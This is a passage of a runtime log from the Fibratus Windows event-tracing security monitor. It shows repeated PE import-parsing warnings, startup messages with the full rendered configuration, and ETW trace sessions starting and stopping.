level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T13:57:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:57:17+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:57:17+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:57:18+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:21:22+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T14:21:22+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T14:21:22+01:00 level=info msg=bootstrapping with pid 19244. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T14:21:23+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html port=>25 to=>[] use-template=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>false enabled=>true] systray=>[ quiet-mode=>false enabled=>true sound=>true]] + api ............................ [ timeout=>15s transport=>localhost:8080] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false] + kstream ........................ [ min-buffers=>16 enable-handle=>false flush-interval=>1s enable-net=>true buffer-size=>512 enable-mem=>true enable-fileio=>true enable-vamap=>true max-buffers=>36 enable-audit-api=>true blacklist=>[ images=>[] events=>[]] enable-thread=>true enable-dns=>true enable-registry=>true enable-image=>true stack-enrichment=>true] + logging ........................ [ level=>info formatter=>text max-backups=>15 max-age=>0 log-stdout=>true max-size=>100] + output ......................... [ console=>[ template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] http=>[ serializer=>json enable-gzip=>false enabled=>false timeout=>5s method=>POST endpoints=>[] tls-insecure-skip-verify=>false] elasticsearch=>[ gzip-compression=>false servers=>[http://127.0.0.1:9200] enabled=>false trace-log=>false healthcheck-interval=>10s flush-period=>1s sniff=>false index-name=>fibratus healthcheck-timeout=>5s bulk-workers=>1 template-name=>fibratus timeout=>5s healthcheck=>true] amqp=>[ tls-insecure-skip-verify=>false exchange-type=>topic exchange=>fibratus timeout=>5s vhost=>/ passive=>false enabled=>false delivery-mode=>transient durable=>false routing-key=>fibratus url=>amqp://localhost:5672]] + pe ............................. [ excluded-images=>[] read-resources=>false read-symbols=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ kparams=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] enabled=>false alert-via=>mail excluded-procs=>[] alert-template=>[] skip-files=>true scan-timeout=>10s fastscan=>true] source=bootstrap/bootstrap.go:183 +time=2025-11-11T14:21:24+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T14:21:33+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T14:21:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:21:36+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:21:36+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:21:36+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:21:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:21:39+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:21:40+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:21:40+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:22:06+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T14:22:06+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T14:22:06+01:00 level=info msg=bootstrapping with pid 5792. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T14:22:06+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>false] mail=>[ to=>[] content-type=>text/html enabled=>false port=>25 use-template=>true] systray=>[ enabled=>true sound=>true quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>15s transport=>localhost:8080] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-envs=>true] + kstream ........................ [ enable-handle=>false enable-image=>true enable-audit-api=>true min-buffers=>16 enable-fileio=>true buffer-size=>512 flush-interval=>1s stack-enrichment=>true enable-mem=>true enable-thread=>true enable-vamap=>true blacklist=>[ images=>[] events=>[]] enable-dns=>true max-buffers=>36 enable-net=>true enable-registry=>true] + logging ........................ [ level=>info max-size=>100 log-stdout=>true formatter=>text max-age=>0 max-backups=>15] + output ......................... [ http=>[ timeout=>5s enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false enabled=>false serializer=>json method=>POST] amqp=>[ enabled=>false durable=>false exchange-type=>topic delivery-mode=>transient url=>amqp://localhost:5672 timeout=>5s vhost=>/ routing-key=>fibratus tls-insecure-skip-verify=>false passive=>false exchange=>fibratus] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ gzip-compression=>false healthcheck=>true servers=>[http://127.0.0.1:9200] enabled=>false bulk-workers=>1 index-name=>fibratus timeout=>5s template-name=>fibratus sniff=>false flush-period=>1s healthcheck-interval=>10s healthcheck-timeout=>5s trace-log=>false] console=>[ template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} enabled=>true format=>pretty]] + pe ............................. [ enabled=>false read-sections=>false read-resources=>false excluded-images=>[] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ kparams=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ alert-template=>[] excluded-files=>[] fastscan=>true skip-files=>true enabled=>false excluded-procs=>[] alert-via=>mail scan-timeout=>10s] source=bootstrap/bootstrap.go:183 +time=2025-11-11T14:22:06+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T14:22:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:22:08+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:22:08+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:22:08+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory 